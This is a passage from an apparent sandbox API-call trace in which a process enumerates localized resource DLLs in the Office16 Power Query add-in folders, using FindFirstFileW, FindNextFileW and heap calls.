Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.825] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.825] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf43e3cb7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0278.826] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c93006, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0278.826] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x46aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0278.826] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4995f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0278.826] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4995f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0278.826] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0278.827] GetProcessHeap () returned 0xaf0000 [0278.827] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.827] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0278.827] GetProcessHeap () returned 0xaf0000 [0278.828] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.829] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.829] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0278.829] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0278.829] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0278.829] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17ef5ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17ef5ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0278.829] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17ef5ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17ef5ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0278.830] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0278.831] GetProcessHeap () returned 0xaf0000 [0278.831] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.831] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0278.831] GetProcessHeap () returned 0xaf0000 [0278.831] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.833] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.833] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75a8fbb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0278.833] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ebbef3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0278.833] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1945af2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0278.833] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x92aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0278.833] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x92aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0278.833] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.019] GetProcessHeap () returned 0xaf0000 [0279.019] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0279.019] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0279.019] GetProcessHeap () returned 0xaf0000 [0279.019] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0279.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.022] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.022] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.022] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.022] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.022] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.022] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0279.022] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.023] GetProcessHeap () returned 0xaf0000 [0279.023] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0279.023] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0279.024] GetProcessHeap () returned 0xaf0000 [0279.024] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0279.024] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.026] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.026] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc240ad7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc240ad7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.026] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5fc257f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5fc257f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6034d6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.026] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6270fd0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.026] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa89f599, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8caa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.026] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa89f599, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8caa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0279.026] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.027] GetProcessHeap () returned 0xaf0000 [0279.027] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0279.028] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0279.028] GetProcessHeap () returned 0xaf0000 [0279.028] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0279.028] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.029] 